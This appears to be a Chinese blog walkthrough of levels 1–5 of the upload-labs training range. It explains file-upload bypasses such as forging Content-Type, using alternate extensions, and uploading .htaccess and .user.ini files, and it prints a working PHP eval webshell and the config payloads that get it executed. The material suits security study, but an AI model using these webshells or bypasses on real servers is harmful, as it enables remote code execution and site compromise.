upload-labs-master靶场 Pass01-05通关秘诀(详解版)

      大家好!这是我写的第一篇文章!主要是记录了我通关upload-labs-master靶场1-21关卡的过程,每5关一篇文章一更新,未来会持续更新我系统学习信息安全的过程,希望与大家共同学习进步。你们的关注,是我持续更新的巨大动力!

关数(通关特征)

Pass-01    绕过前端JS检测上传

进入靶场,按照正常流程,发现上传.php文件失败!

方法一:前端删除return checkFile()提交

按F12使用网页审查元素,把校验的上传后缀名文件除掉,即可上传。

方法二:禁用javascript按钮

方法三:抓包将来“.php”改为“.jpg”

把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据 包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp 等。即可绕过上传 。

Pass-02    绕过Content-Type检测

关卡分析:

有些上传模块,会对 http 的类型头(MIME)类型进行检测,如果是图片类型,允许上传文件到服务 器,否则返回上传失败。因为服务端是通过 content-type 判断类型,content-type 在客户端可被修 改。则此文件上传也有可能被绕过的风险。

每种文件都有自己的MIME类型。常见的MIME类型有:

图片文件:
PHP: Content-Type: application/octet-stream
PNG: Content-Type: image/png
JPG: Content-Type: image/jpeg
GIF: Content-Type: image/gif

绕过演示:

使用第一种方法,发现并不成功。

看到提示信息,发现无法绕过前端JS,使用Burpsuite工具对上传过程中进行抓包。

发现包中有Content-Type标签,对文件的Content-Type进行修改,修改为“image/jpeg”,表示是“jpg”文件。点击“send”,上传成功!

 注:如果要在靶场页面进行显示,我们要在Proxy中进行修改相关参数。

测试连接,连接成功!

(注:以下均可以在上传成功后进行测试连接!)

http://127.0.0.1/muma/shell.php

密码:cmd

Pass-03    绕过黑名单上传

使用第一种,第二种方法,发现无效。

关卡分析:

上传模块,有时候会写成黑名单限制,在上传文件时程序会获取后缀名,再把后缀名与程序中黑名单进 行检测,如果后缀名在黑名单的列表中,则文件禁止上传。 简述:黑名单就是服务端明确不允许上传的格式后缀:PHP、JSP、ASP、JSPX等。

绕过演示:

IIS : 在iis中如果ASP后缀禁止上传了,可以上传sas、cer、cdx后缀,如果网站允许.net执行可以上传ashx代 替aspx。如果网站可以执行这些脚本,通过上传该后缀文件即可获得Webshell。

Apache : 可以开启`application/x-httpd-php` 在配置文件中需要将`AddType application/x-httpd-php .php .phtml .php3` 后缀名为phtml、php3均可以当做php文件解析。有的apache版本就会默认开启, 但是一般情况都是网站管理员错误配置后造成的。

注意: 不同的中间件中有特殊的情况。

我们首先修改配置文件,修改apache配置文件http.conf:

Ctrl+F

AddType application/x-httpd-php .php .phtml .php3

 

所以我们修改文件名的后缀为“.phtml”进行上传。

右键查看“在新标签中打开标签”,发现我们的木马文件被成功解析。

PASS-04    .htaccess绕过

关卡分析:

.htaccess文件是Apache服务器中的一个配置文件,提供了针对目录改变配置的方法.通过htaccess文件 可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访 问、禁止目录列表、配置默认文档等功能。 重要功能:可以指定某个文件当作php文件执行(拿php解析器解析)

前提条件:Apache开启rewrite模块。

尝试过前三种方法后,我们发现不行,然后 htaccess 的规则生效,要在Apache中加入配置文件,在apache 开启 rewrite 重写模块,因为 apache 是多数都开启这个模块,所以规则一般都生效; 

注:可以点击Ctrl+F去搜索“rewrite”模块。

绕过演示:

在Apache中加入配置文件,在apache 开启 rewrite 重写模块,因为因为 apache 是多数都开启这个模块,所以规则一般都生效;

新版小皮开启方法:

 

旧版小皮开启方法:

 上传配置文件:“.htacess”,再上传1.jpg。

.htacess:

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

1.jpg:

<?php phpinfo();eval($_POST['cmd']);?>

注:有人不太清楚这个1.jpg文件是图片还是木马,这是我们写好的1.php代码,然后将来他的后缀改成了 1.jpg,这里我用的是“<?php phpinfo();?>”的一句话木马。

最后打开链接查看,发现文件被成功解析。

如果没有解析成功,出现了这样的错误,我们可以把php的版本换成5.5版本的,再进行尝试!

错误提示:

更改版本(我这里用的是新版phpstudy):

PASS-05    .user.ini绕过

关卡分析:

php.ini php 的一个全局配置文件,对整个 web 服务起作用;而 .user.ini .htaccess 一样是目录的配置文件, .user.ini 就是用户自定义的一个 php.ini ,我们可以利用这个文件来构造后门和隐藏后门。
.user.ini 文件内容:
auto_prepend_file = "x.jpg" 表示加载第一个 PHP 代码之前执行指示(包含的)文件
auto_append_file = "x.jpg" 表示加载第一个 PHP 代码之后执行指示(包含的)文件
查看源代码,和04关相似, 对常规修改进行了过滤,但未对 .ini 文件进行过滤,这样我们就可以通过上传 .user.ini 件实现解析。

绕过演示:

1.创建文件

.user.ini文件:

auto_prepend_file = "shell.jpg"

shell.jpg文件:

<?php phpinfo();eval($_POST['cmd']);?>

创建.user.ini文件  || 创建1.txt文件,文件内容为php代码。

2.依次上传user.ini和shell.jpg文件

打开链接进行解析:

http://127.0.0.1/BC/upload-labs-master/upload/shell.jpg

(谢谢大家!欢迎提出批评和建议!你的支持是我持续更新的巨大动力!)

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值